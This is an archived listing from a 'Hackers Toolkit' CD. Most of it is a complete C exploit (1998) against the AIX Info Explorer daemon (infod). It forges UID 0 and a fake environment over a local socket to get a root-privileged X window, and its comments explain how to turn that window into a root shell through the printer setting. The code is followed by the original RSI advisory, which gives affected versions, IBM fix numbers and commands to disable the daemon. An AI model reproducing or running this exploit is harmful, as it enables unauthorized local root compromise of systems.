home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / aix-infod.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  11KB  |  357 lines

  1. /* Infod AIX exploit (k) Arisme 21/11/98  - All Rights Reversed 
  2.    Based on RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)
  3.  
  4.    [ http://www.rootshell.com/ ]
  5.  
  6.    Run program with the login you want to exploit :)
  7.    When the window appears, select "options", "defaults", change printer 
  8.    to something more useful (like /bin/x11/xterm) and print !                
  9.  
  10.    Comments,questions : arisme@altern.org */
  11.  
  12.  
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <sys/un.h>
  16. #include <netdb.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <pwd.h>
  20.  
  21. #define TAILLE_BUFFER 2000
  22. #define SOCK_PATH "/tmp/.info-help"
  23. #define PWD "/tmp"
  24.  
  25. #define KOPY "Infod AIX exploit (k) Arisme 21/11/98\nAdvisory RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)"
  26. #define NOUSER "Use : infofun [login]"
  27. #define UNKNOWN "User does not exist !"
  28. #define OK "Waiting for magic window ... if you have problems check the xhost "
  29.  
  30. void send_environ(char *var,FILE *param)
  31. { char tempo[TAILLE_BUFFER];
  32.   int taille;
  33.   
  34.   taille=strlen(var);
  35.   sprintf(tempo,"%c%s%c%c%c",taille,var,0,0,0);
  36.   fwrite(tempo,1,taille+4,param);
  37. }
  38.  
  39. main(int argc,char** argv)
  40. { struct sockaddr_un sin,expediteur;
  41.   struct hostent *hp;
  42.   struct passwd *info;
  43.   int chaussette,taille_expediteur,port,taille_struct,taille_param;
  44.   char buffer[TAILLE_BUFFER],paramz[TAILLE_BUFFER],*disp,*pointeur;
  45.   FILE *param;
  46.   
  47.   char *HOME,*LOGIN;
  48.   int UID,GID;
  49.   
  50.   printf("\n\n%s\n\n",KOPY);
  51.   
  52.   if (argc!=2) { printf("%s\n",NOUSER);
  53.                  exit(1); }
  54.                  
  55.                  
  56.   info=getpwnam(argv[1]);
  57.   if (!info)   { printf("%s\n",UNKNOWN);
  58.                  exit(1); }
  59.   
  60.   HOME=info->pw_dir;
  61.   LOGIN=info->pw_name;
  62.   UID=info->pw_uid;
  63.   GID=info->pw_gid;
  64.   
  65.   param=fopen("/tmp/tempo.fun","wb");
  66.   
  67.   chaussette=socket(AF_UNIX,SOCK_STREAM,0);
  68.   sin.sun_family=AF_UNIX;
  69.   strcpy(sin.sun_path,SOCK_PATH);
  70.   taille_struct=sizeof(struct sockaddr_un);
  71.   
  72.   
  73.   if (connect(chaussette,(struct sockaddr*)&sin,taille_struct)<0)
  74.      { perror("connect"); 
  75.        exit(1); }   
  76.    
  77.        
  78.   /* 0 0 PF_UID pf_UID 0 0 */
  79.   
  80.   sprintf(buffer,"%c%c%c%c%c%c",0,0,UID>>8,UID-((UID>>8)*256),0,0);
  81.   fwrite(buffer,1,6,param);
  82.   
  83.   /* PF_GID pf_GID */
  84.   sprintf(buffer,"%c%c",GID>>8,GID-((GID>>8)*256));
  85.   fwrite(buffer,1,2,param);
  86.   
  87.   /* DISPLAY (259) */
  88.   
  89.   bzero(buffer,TAILLE_BUFFER); 
  90.   strcpy(buffer,getenv("DISPLAY"));
  91.   fwrite(buffer,1,259,param);
  92.   
  93.   /* LANG (1 C 0 0 0 0 0 0 0) */
  94.   
  95.   sprintf(buffer,"%c%c%c%c%c%c%c%c%c",1,67,0,0,0,0,0,0,0);
  96.   fwrite(buffer,1,9,param);
  97.   
  98.   /* size_$HOME $HOME 0 0 0 */
  99.   
  100.   send_environ(HOME,param);
  101.   
  102.   /* size_$LOGNAME $LOGNAME 0 0 0 */
  103.   
  104.   send_environ(LOGIN,param);
  105.   
  106.   /* size_$USERNAME $USERNAME 0 0 0 */
  107.   
  108.   send_environ(LOGIN,param);
  109.   
  110.   /* size_$PWD $PWD 0 0 0 */
  111.   
  112.   send_environ(PWD,param);
  113.   
  114.   /* size_DISPLAY DISPLAY 0 0 0 */
  115.   
  116.   //send_environ(ptsname(0),param);
  117.   
  118.   /* If we send our pts, info_gr will crash as it has already changed UID */
  119.   
  120.   send_environ("/dev/null",param);
  121.   
  122.   /* It's probably not useful to copy all these environment vars but it was
  123.      good for debugging :) */
  124.   
  125.   sprintf(buffer,"%c%c%c%c",23,0,0,0);
  126.   fwrite(buffer,1,4,param);
  127.   
  128.   sprintf(buffer,"_=./startinfo");
  129.   send_environ(buffer,param);
  130.   
  131.   sprintf(buffer,"TMPDIR=/tmp");
  132.   send_environ(buffer,param);
  133.   
  134.   sprintf(buffer,"LANG=%s",getenv("LANG"));
  135.   send_environ(buffer,param);
  136.   
  137.   sprintf(buffer,"LOGIN=%s",LOGIN);
  138.   send_environ(buffer,param);
  139.   
  140.   sprintf(buffer,"NLSPATH=%s",getenv("NLSPATH"));
  141.   send_environ(buffer,param);
  142.   
  143.   sprintf(buffer,"PATH=%s",getenv("PATH"));
  144.   send_environ(buffer,param);
  145.   
  146.   sprintf(buffer,"%s","EDITOR=emacs");
  147.   send_environ(buffer,param);
  148.   
  149.   sprintf(buffer,"LOGNAME=%s",LOGIN);
  150.   send_environ(buffer,param);
  151.   
  152.   sprintf(buffer,"MAIL=/usr/spool/mail/%s",LOGIN);
  153.   send_environ(buffer,param);
  154.   
  155.   sprintf(buffer,"HOSTNAME=%s",getenv("HOSTNAME"));
  156.   send_environ(buffer,param);
  157.   
  158.   sprintf(buffer,"LOCPATH=%s",getenv("LOCPATH"));
  159.   send_environ(buffer,param);
  160.   
  161.   sprintf(buffer,"%s","PS1=(exploited !) ");
  162.   send_environ(buffer,param);
  163.   
  164.   sprintf(buffer,"USER=%s",LOGIN);
  165.   send_environ(buffer,param);
  166.   
  167.   sprintf(buffer,"AUTHSTATE=%s",getenv("AUTHSTATE"));
  168.   send_environ(buffer,param);
  169.   
  170.   sprintf(buffer,"DISPLAY=%s",getenv("DISPLAY"));
  171.   send_environ(buffer,param);
  172.   
  173.   sprintf(buffer,"SHELL=%s",getenv("SHELL"));
  174.   send_environ(buffer,param);
  175.   
  176.   sprintf(buffer,"%s","ODMDIR=/etc/objrepos");
  177.   send_environ(buffer,param);
  178.   
  179.   sprintf(buffer,"HOME=%s",HOME);
  180.   send_environ(buffer,param);
  181.   
  182.   sprintf(buffer,"%s","TERM=vt220");
  183.   send_environ(buffer,param);
  184.   
  185.   sprintf(buffer,"%s","MAILMSG=[YOU HAVE NEW MAIL]");
  186.   send_environ(buffer,param);
  187.   
  188.   sprintf(buffer,"PWD=%s",PWD);
  189.   send_environ(buffer,param);
  190.   
  191.   sprintf(buffer,"%s","TZ=NFT-1");
  192.   send_environ(buffer,param);
  193.   
  194.   sprintf(buffer,"%s","A__z=! LOGNAME");
  195.   send_environ(buffer,param);
  196.   
  197.   /* Start info_gr with -q parameter or the process will be run locally and
  198.      not from the daemon ... */
  199.   
  200.   sprintf(buffer,"%c%c%c%c",1,45,113,0);
  201.   fwrite(buffer,1,4,param);
  202.   
  203.   fclose(param);
  204.   
  205.   param=fopen("/tmp/tempo.fun","rb");
  206.   fseek(param,0,SEEK_END);
  207.   taille_param=ftell(param);
  208.   fseek(param,0,SEEK_SET);
  209.   fread(paramz,1,taille_param,param);
  210.   fclose(param);
  211.   
  212.   unlink("/tmp/tempo.fun");
  213.   
  214.   /* Thank you Mr daemon :) */
  215.   
  216.   write(chaussette,paramz,taille_param);
  217.   
  218.   printf("\n%s %s\n",OK,getenv("HOSTNAME"));
  219.   
  220.   close(chaussette);
  221. }
  222.  
  223. -------------------------------------------------------------------------
  224.  
  225. RSI.0011.11-12-98.AIX.INFOD
  226.  
  227.  
  228.  
  229.            |:::.  |::::: |::::.        |::::: |::::: |::::.
  230.            ..  :: ..     ..  ::        ..     ..     ..  ::
  231.            |::::  |::::  |::::  :::::: |::::: |::::  |:
  232.            |:  :: |:     |:               |:: |:     |:  ::
  233.            |:  :: |::::: |:            |::::: |::::: |:::::
  234.  
  235.  
  236.                    Repent Security Incorporated, RSI
  237.                        [ http://www.repsec.com ]
  238.  
  239.  
  240.                        *** RSI ALERT ADVISORY ***
  241.  
  242.  
  243. --- [CREDIT] --------------------------------------------------------------
  244.  
  245. Andrew Green: Discovered the vulnerability
  246. Mark Zielinski: Author of the advisory
  247.  
  248. --- [SUMMARY] -------------------------------------------------------------
  249.  
  250. Announced:     November 09, 1998
  251. Report code:   RSI.0011.11-12-98.AIX.INFOD
  252. Report title:  AIX infod
  253.  
  254. Vulnerability: Please see the details section
  255. Vendor status: AIX contacted on November 12, 1998
  256. Patch status:  IBM is currently working on several fixes
  257.  
  258. Platforms:     AIX 3.2.x, 4.1.x, 4.2.x, 4.3.x
  259.  
  260. Reference:     http://www.repsec.com/advisories.html
  261. Impact:        If exploited, an attacker could potentially compromise
  262.                root access locally on your server
  263.  
  264. --- [DETAILS] -------------------------------------------------------------
  265.  
  266. Description:   The Info Explorer daemon is a AIX utility which is used
  267.                to provide documentation for the operating system and
  268.                associated programs.
  269.  
  270. Problem:       The info daemon does not perform any validation on information
  271.                passed to the local socket that it is bound to.  Users on the
  272.                system can send false information to the daemon and trick
  273.                it into spawning a connection to the intruders X display.
  274.  
  275. Details:       By sending a UID and GID of 0, along with a false environment,
  276.                infod will be forced into spawning a connection with root
  277.                privileges to the intruder's X display.
  278.  
  279.                Once the program appears on the screen, they can goto
  280.                the default options menu and change the printer command
  281.                line to an alternate binary such as /bin/sh that gives
  282.                privileges to the account the session was spawned under.
  283.  
  284.  
  285. --- [FIX] -----------------------------------------------------------------
  286.  
  287. Solution:      IBM is currently working on the following fixes which will be
  288.                available soon:
  289.  
  290.                   AIX 3.2.x:  upgrade to version 4
  291.                   AIX 4.1.x:  IX84640
  292.                   AIX 4.2.x:  IX84641
  293.                   AIX 4.3.x:  IX84642
  294.  
  295.                Until the fixes can be applied, the infod daemon should be disabled.
  296.                Run the following commands as root:
  297.  
  298.                   # stopsrc -s infod
  299.                   # rmitab infod
  300.                   # chown root.system /usr/lpp/info/bin/infod
  301.                   # chmod 0 /usr/lpp/info/bin/infod
  302.  
  303.  
  304. ---------------------------------------------------------------------------
  305.  
  306. Repent Security Incorporated (RSI)
  307. 13610 N. Scottsdale Rd.
  308. Suite #10-326
  309. Scottsdale, AZ 85254
  310.  
  311. E-Mail: advise@repsec.com
  312. FTP: ftp://ftp.repsec.com
  313. WWW: http://www.repsec.com
  314.  
  315. ---------------------------------------------------------------------------
  316.  
  317. -----BEGIN PGP PUBLIC KEY BLOCK-----
  318. Version: 2.6.2
  319.  
  320. mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75
  321. dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP
  322. nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT
  323. tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg==
  324. =ro8H
  325. -----END PGP PUBLIC KEY BLOCK-----
  326.  
  327. Copyright November 1998 RepSec, Inc.
  328.  
  329. The information in this document is provided as a service to customers
  330. of RepSec, Inc.  Neither RepSec, Inc., nor any of it's employees, makes
  331. any warranty, express or implied, or assumes any legal liability or
  332. responsibility for the accuracy, completeness, or usefulness of any
  333. information, apparatus, product, or process contained herein, or
  334. represents that its use would not infringe any privately owned rights.
  335. Reference herein to any specific commercial products, process, or
  336. services by trade name, trademark, manufacturer, or otherwise, does not
  337. necessarily constitute or imply its endorsement, recommendation or
  338. favoring by RepSec, Inc.  The views and opinions of authors express
  339. herein do no necessarily state or reflect those of RepSec, Inc., and may
  340. not be used for advertising or product endorsement purposes.
  341.  
  342. The material in this alert advisory may be reproduced and distributed,
  343. without permission, in whole or in part, by other security incident
  344. response teams (both commercial and non-commercial), provided the above
  345. copyright is kept intact and due credit is given to RepSec, Inc.
  346.  
  347. This alert advisory may be reproduced and distributed, without
  348. permission, in its entirety only, by any person provided such
  349. reproduction and/or distribution is performed for non-commercial
  350. purposes and with the intent of increasing the awareness of the Internet
  351. community.
  352.  
  353. ---------------------------------------------------------------------------
  354.  
  355. RepSec, Inc. are trademarks of RepSec, Inc.  All other trademarks are
  356. property of their respective holders.
  357.